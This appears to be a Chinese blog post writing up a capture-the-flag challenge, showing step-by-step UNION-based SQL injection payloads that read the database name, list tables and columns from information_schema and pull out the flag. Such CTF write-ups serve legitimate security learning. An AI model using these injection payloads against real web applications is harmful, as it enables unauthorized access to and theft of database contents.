成绩单

这是一道sql注入的题目,输入1,2,3都能回显
首先,一条sql查询语句如下(暂且认为):
select * from scour where id = '1'
用户提交的内容就是这个1
我们明确目标,flag可能在flag表的flag投影列的选择行中。也就是我们要找到对应的select flagxx from flagxx 就能找到flag

联合查询:
union用于把来自许多SELECT语句的结果组合到一个结果集合中。
select * from scour where id = '-1' union select 1,2,3,database()#' //通过联合查询把,1,2,3,database()内容集合起来,并且使用#注释之后的语句


得到数据库名字skctf_flag

爆破表名:
select * from scour where id = -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
1.mysql中的information_schema 结构用来存储数据库系统信息
2.table_schema ――>存储数据库名的
3.table_name表示表的名称
4.tables ――>存储表名的
5.group_concat把表的名称连接起来
也就是说这句意思group_concat把表的名称连接起来是从information_schema中读取表名(笛卡尔积),选取数据库名的信息(选择)读取的

爆破字段(属性)名:
select * from scour where id = '-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#'
这里要将敏感的表名使用16进制传输fl4g,sc=0x66 6c 34 67 2c 73 63

select * from scour where id = '-1' union select 1,2,3,skctf_flag from fl4g#'
根据获得的表名和属性,我们直接找flag

posted @ 2020-11-14 14:39  网抑云黑胶SVIP用户  阅读(99)  评论(0)    收藏  举报